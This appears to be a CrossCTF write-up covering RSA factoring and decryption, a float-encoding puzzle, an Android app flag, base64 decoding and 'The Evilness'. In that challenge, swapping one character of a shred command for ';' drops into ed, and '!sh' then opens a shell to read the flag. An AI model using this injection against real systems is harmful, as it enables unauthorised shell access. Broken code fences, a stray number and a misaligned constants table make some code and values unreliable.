    if (mpz_probab_prime_p(q, 50) && mpz_probab_prime_p(p, 50)) res = 1;
    else res = 0;
    mpz_clear(q);
    return res;
}

int main(){
    mpz_init(phi);
    mpz_set_str(phi, "2574447261042072157672135414270066653458570742327654037955311166292446276664939784523873658839584956058282466439987921999393641514633346382603571436031664726540561559138399914787852777891452636998116044405074260613979970688487592867415325590914562483489266194817757115584913491575124670523917871310421296173148930930573096639196103714702234087492", 10);
    int factorcount = 22;
    //char *factors[] = {"2", "3", "4", "5");
```
22934986159900715116108208953020869407965649891682811237375888393869
22876088484808070018553110125686555051

int uplimit = pow(2, factorcount);
mpz_t p, divisor;
mpz_init(p);
mpz_init(divisor);
for (int i = 1; i < uplimit; i++) {
    mpz_set_ui(p, 1);
    for (int j = 0; j <= factorcount - 1; j++) {
        if (1<<j & i) {
            mpz_set_str(divisor, factors[j], 10);
            mpz_mul(p, p, divisor);
        }
    }
    if (check_pq(p)) {
        gmp_printf("%d %Zd\n", i, p);
        //break;
    }
    //gmp_printf("%d %Zd\n", i, p);
}
}

Purpose: Actual decryption code

p=3872229313642879015425284305724830100395672707494952957719945604586
769710832248353007838603541581959673152570383080651258704650752232169
1571685703379119439599767387969283-1
phi =
257444726104207215767213541427006665345857074232765403795531116629244
627666493978452387365883958495605828246643998792190939364151463334638
260357143603166472654056155913839991478785277789145263699811604440507
42606139799706848759286741532559091456248334892661948177571155849134
915751246705239178713104212961731489309305730966391961037147022340874
92
q = int((phi/p))+1
p+=1
n = p * q
print q

def power(a, b, m):
```
\(d = 1\)
\(k = \text{len}(b \text{.bits()}) - 1\)

```python
for i in range(k, -1, -1):
    d = (d * d) % m
    if (b >> i) & 1:
        d = (d * a) % m
return d
```

```python
print is_prime(p)
print is_prime(q)
print (p-1)*(q-1) == phi
```

```
c = 549954179318245891657223554917681684266824117426645250451311306075543
687867796780107396931888657877126180884656777182651394133948923590330
859688466908274308233819448474263014131060471111788564322964273254477
560522544029263486597109952589574697861739742457465864513958837401772
007599117182087312625883030645132654138475080660519547009819446298549
4
d = 156644491023831237412564928236378531351252148073847422395495701313366
624332689930018933385790814476609165481710288881822005879028323211643
151763367922295294886265564388382743575073272955908735401522377065723
287318853820334670684570386703893417640405154755561031589171313585682
00492242619473451843833359241926967739585925305653972020862000039364
47
res = power(c, d, n)
import binascii
print binascii.unhexlify(hex(res).replace('0x', '').replace('L', ''))
```
The Evilness

This was a pretty interesting challenge, wasn't as easy as the organisers said IMO. Connecting to the server, we get a piece of python code. To put it simply, we have a string: '/usr/bin/shred ' and we have to replace a single character within the string, concatenate it with a temporary file containing the "flag" (as we later find out) and obtain the flag.

We were pretty stumped by this challenge, and after much futile attempts, we decided to host a local version of the server and run a fuzzer on it. After all, brute forcing locally is not against the competition rules!

This was proven to have little results, but I noticed some interesting output from the server side.

```
sh: 2: red: not found
red: not found
sh: 1: /usr/bin/s
    red: not found
sh: 1: /usr/bin/s
    red: not found
sh: 1: /usr/bin/sh0ed: not found
sh: 1: /usr/bin/sh1ed: not found
```

To me, even though the red command was not found, I vaguely remember seeing it on linux before and tried the command on a Ubuntu VPS. To my surprise, it worked! The rest was rather straightforward after googling. The payload is as such, corrupt r with ; , so that we drop to the ed editor.
Here comes the shredder! (/usr/bin/shred /tmp/cartoon-FGrVRE.dat)
11
0x3b
sh: 1: /usr/bin/sh: not found
Newline appended
62
,P
LOL YOU THOUGHT THIS WOULD BE SO EASY? GET A SHELL YOU DWEEB.
!sh
ls /home/theevilness
flag
flag.py
requirements.txt
theevilness.py
cat /home/theevilness/flag
crossctf{it5_th3_r34ln3ss_th3_r3alness}
Choose Your Own Adventure 2

Running the given command leads us to a void, where we obtain the following integers:

```
1068077148
1805536572
1005526689
1727990831
1301214146
428181300
1107313295
2147483648
993912976
778615823
1090848777
```

After the given hints, we realised that as floats and integers had differing representations, a float and int with the same binary value could have different numerical values. Hence, we deduced that we would have to convert the integers into floats to extract anything of meaning.

We used the website https://www.h-schmidt.net/FloatConverter/IEEE754.html for conversion, and obtained the following corresponding set of numbers.

```
1.324717998504638671875
382750017045873589716254720
0.0072973524220287799835205078125
602214100383781913362432
299792448
1.3806485790997104415954991003866268034494524385991098824888467788696
2890625E-23
32.064998626708984375
-0
0.0028977729380130767822265625
5.29177222874377406469648121856153011322021484375E-11
8.31446170806884765625
```
A quick glance through the numbers revealed that there were some interesting values. For example, the number that immediately stood out was 299792448, the speed of light (in m s\(^{-1}\)). With some googling, we then sought to extract the significance of the remaining values. In the end we labelled each number as follows:

<table>
<thead>
<tr>
<th>Number</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.324717998504638671875</td>
<td>Plastic Number</td>
</tr>
<tr>
<td>382750017045873589716254720</td>
<td>Luminosity of the sun</td>
</tr>
<tr>
<td>0.0072973524220287799835205078125</td>
<td>Fine structure constant</td>
</tr>
<tr>
<td>602214100383781913362432</td>
<td>Avogadro's Constant</td>
</tr>
<tr>
<td>299792448</td>
<td>Speed of Light</td>
</tr>
<tr>
<td>1.3806485790997104415954991003866268034494524385991098824888467788696</td>
<td>Boltzman Constant</td>
</tr>
<tr>
<td>2890625E-23</td>
<td></td>
</tr>
<tr>
<td>32.064998626708984375</td>
<td>Molar mass of sulfur</td>
</tr>
<tr>
<td>-0</td>
<td>ZERO</td>
</tr>
<tr>
<td>0.0028977729380130767822265625</td>
<td>Wien's constant</td>
</tr>
<tr>
<td>5.29177222874377406469648121856153011322021484375E-11</td>
<td>Bohr radius</td>
</tr>
<tr>
<td>8.31446170806884765625</td>
<td>Molar Gas Constant</td>
</tr>
</tbody>
</table>

To obtain a numeric flag from these, we realised that we would have to extract further meaning from these seemingly disparate values. The one thing they all had in common, however, was that they had some symbol(s) associated with them owing to their importance.

Putting together the symbols, we obtained the words: \( \rho L_\odot \alpha N_A \text{ckS}[0]\text{ba}_0R \)

This was an obvious reference to h-bar, the reduced Planck's constant. We then went to obtain the value of h-bar (in SI Units), \( 1.054571800(13) \times 10^{-34} \).

Using the same website from before, we converted the float into binary, before converting the binary to an integer. This gave us the flag: 118238520.
Mobile

Human Powered Flag Generator

Playing with the app, we found that clicking on the button increments our current level progress, and upon the completion of each level, we got another chunk of the flag. However, there is one major catch: the increment gradually decreases to become impossibly slow.

Decompiling the application with the online tool http://www.javadecompilers.com/apk and examining the resultant source code reveals the algorithm: The flag stub for each level is given by the last 3 non-zero digits of \((5! \times 5^2! \times 5^3! \times \ldots \times 5^{2^{\text{level}}})\). Needless to say, there was no bruteforcing that, since the last level, 12, would require the calculation of \(5^{4096}\).

However we realised that WolframAlpha was able to conveniently provide us with the last few non-zero digits. Furthermore, we only need to preserve the last 3 digits of each individual factorial at best, if we only require the last 3 digits of their product.

We decided to whip up a quick script using python and the requests library to pull the required information from WolframAlpha, and let it run. A couple of factorials in, however, we realised that for some mathematical reason, the last few digits had a pattern to them. In particular, they cycled through 984, 88, 16 & 912.

With this revelation, we then quickly wrote a new script to calculate the required flag.

```python
def trim(n):
    while n % 10 == 0:
        n //= 10
    n %= 1000
    n += 1000
    return str(n)[1:]

d = {}
d[1] = 12
ARR = [984, 88, 16, 912]
ptr = 0```
for x in range(2, 4097):
    d[x] = ARR[ptr]
    ptr = (ptr + 1) % 4

print("CrossCTF{", end = ")"

for x in range(1, 12 + 1):
    _max = 2 ** x + 1
    ans = 1
    for y in range(1, _max):
        ans *= d[y]
    ans = trim(ans)
    print(ans, end="")

print("}")

Running the program gives us the flag:
CrossCTF{808664096416256736896016456136696616}
Sanity

Clearly, the string was base64 encoded. Decoding, we got

}thg1lhs4lf_ym_r0oy_3su4C{FTCssorC.

Reversing it gave us the flag CrossCTF{C4us3_yo0r_my_fl4shl1ght}. 